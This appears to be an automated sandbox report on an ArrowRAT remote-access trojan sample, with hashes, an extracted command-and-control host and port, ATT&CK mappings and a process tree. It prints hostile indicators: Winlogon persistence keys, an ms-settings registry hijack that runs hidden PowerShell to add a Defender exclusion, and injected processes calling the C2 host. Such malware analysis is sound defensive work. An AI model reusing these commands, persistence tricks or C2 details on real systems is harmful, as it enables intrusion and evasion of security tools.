arrowrat | d020ce862bf6ba26a1b4b0ca76ebc2ce9bc5ade16e52c66b11bc4253a16318a7

Analysis

max time kernel
127s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26/12/2024, 16:20

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General

Target

Client.exe
Size

158KB
MD5

b9e38162af37c0f29b683c3c307fae6c
SHA1

646eedd6062086bb394c5f5727ff3cfff940e090
SHA256

d020ce862bf6ba26a1b4b0ca76ebc2ce9bc5ade16e52c66b11bc4253a16318a7
SHA512

85440ad4b1258171ddd280e373b31ea2018538256c21ff024d138f4032bb4717875351073fd987e2c0e120f7dbea5bfc9cf32484224e2c04685a13916b8e44b5
SSDEEP

3072:Mbz3H+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPmOO8Y:Mbz3e0ODhTEPgnjuIJzo+PPcfPmB8

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

24.ip.gl.ply.gg:46885

Mutex

BVCkbzdsT

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat
Arrowrat family
arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Pan\\dora"	Client.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings\shell	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings\shell\open	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings\shell\open\command	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Temp\\Pan\\dora'"	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe
2640	Client.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	Client.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe
Token: SeShutdownPrivilege	2788	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe
2788	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2640	Client.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2788	2640	Client.exe	30
PID 2640 wrote to memory of 2788	2640	Client.exe	30
PID 2640 wrote to memory of 2788	2640	Client.exe	30
PID 2640 wrote to memory of 2808	2640	Client.exe	31
PID 2640 wrote to memory of 2808	2640	Client.exe	31
PID 2640 wrote to memory of 2808	2640	Client.exe	31
PID 2640 wrote to memory of 2808	2640	Client.exe	31
PID 2640 wrote to memory of 2820	2640	Client.exe	32
PID 2640 wrote to memory of 2820	2640	Client.exe	32
PID 2640 wrote to memory of 2820	2640	Client.exe	32
PID 2640 wrote to memory of 2820	2640	Client.exe	32
PID 2640 wrote to memory of 2956	2640	Client.exe	33
PID 2640 wrote to memory of 2956	2640	Client.exe	33
PID 2640 wrote to memory of 2956	2640	Client.exe	33
PID 2640 wrote to memory of 2956	2640	Client.exe	33
PID 2640 wrote to memory of 2700	2640	Client.exe	34
PID 2640 wrote to memory of 2700	2640	Client.exe	34
PID 2640 wrote to memory of 2700	2640	Client.exe	34
PID 2640 wrote to memory of 2700	2640	Client.exe	34
PID 2640 wrote to memory of 2656	2640	Client.exe	35
PID 2640 wrote to memory of 2656	2640	Client.exe	35
PID 2640 wrote to memory of 2656	2640	Client.exe	35
PID 2640 wrote to memory of 2656	2640	Client.exe	35
PID 2640 wrote to memory of 2692	2640	Client.exe	36
PID 2640 wrote to memory of 2692	2640	Client.exe	36
PID 2640 wrote to memory of 2692	2640	Client.exe	36
PID 2640 wrote to memory of 2692	2640	Client.exe	36
PID 2640 wrote to memory of 2944	2640	Client.exe	37
PID 2640 wrote to memory of 2944	2640	Client.exe	37
PID 2640 wrote to memory of 2944	2640	Client.exe	37
PID 2640 wrote to memory of 2944	2640	Client.exe	37
PID 2640 wrote to memory of 2552	2640	Client.exe	38
PID 2640 wrote to memory of 2552	2640	Client.exe	38
PID 2640 wrote to memory of 2552	2640	Client.exe	38
PID 2640 wrote to memory of 2552	2640	Client.exe	38
PID 2640 wrote to memory of 2784	2640	Client.exe	39
PID 2640 wrote to memory of 2784	2640	Client.exe	39
PID 2640 wrote to memory of 2784	2640	Client.exe	39
PID 2640 wrote to memory of 2784	2640	Client.exe	39
PID 2640 wrote to memory of 2768	2640	Client.exe	40
PID 2640 wrote to memory of 2768	2640	Client.exe	40
PID 2640 wrote to memory of 2768	2640	Client.exe	40
PID 2640 wrote to memory of 2768	2640	Client.exe	40
PID 2788 wrote to memory of 2736	2788	explorer.exe	41
PID 2788 wrote to memory of 2736	2788	explorer.exe	41
PID 2788 wrote to memory of 2736	2788	explorer.exe	41
PID 2640 wrote to memory of 2572	2640	Client.exe	42
PID 2640 wrote to memory of 2572	2640	Client.exe	42
PID 2640 wrote to memory of 2572	2640	Client.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2736
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2808
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2820
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2700
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2656
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2692
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2944
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2552
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2784
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
  2⤵
  PID:2768
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2640-0-0x000007FEF5DF3000-0x000007FEF5DF4000-memory.dmp

Filesize
4KB

Download
memory/2640-1-0x0000000000A70000-0x0000000000A9E000-memory.dmp

Filesize
184KB

Download
memory/2640-3-0x000007FEF5DF0000-0x000007FEF67DC000-memory.dmp

Filesize
9.9MB

Download
memory/2640-4-0x000007FEF5DF3000-0x000007FEF5DF4000-memory.dmp

Filesize
4KB

Download
memory/2640-5-0x000007FEF5DF0000-0x000007FEF67DC000-memory.dmp

Filesize
9.9MB

Download
memory/2788-9-0x0000000002970000-0x0000000002980000-memory.dmp

Filesize
64KB

Download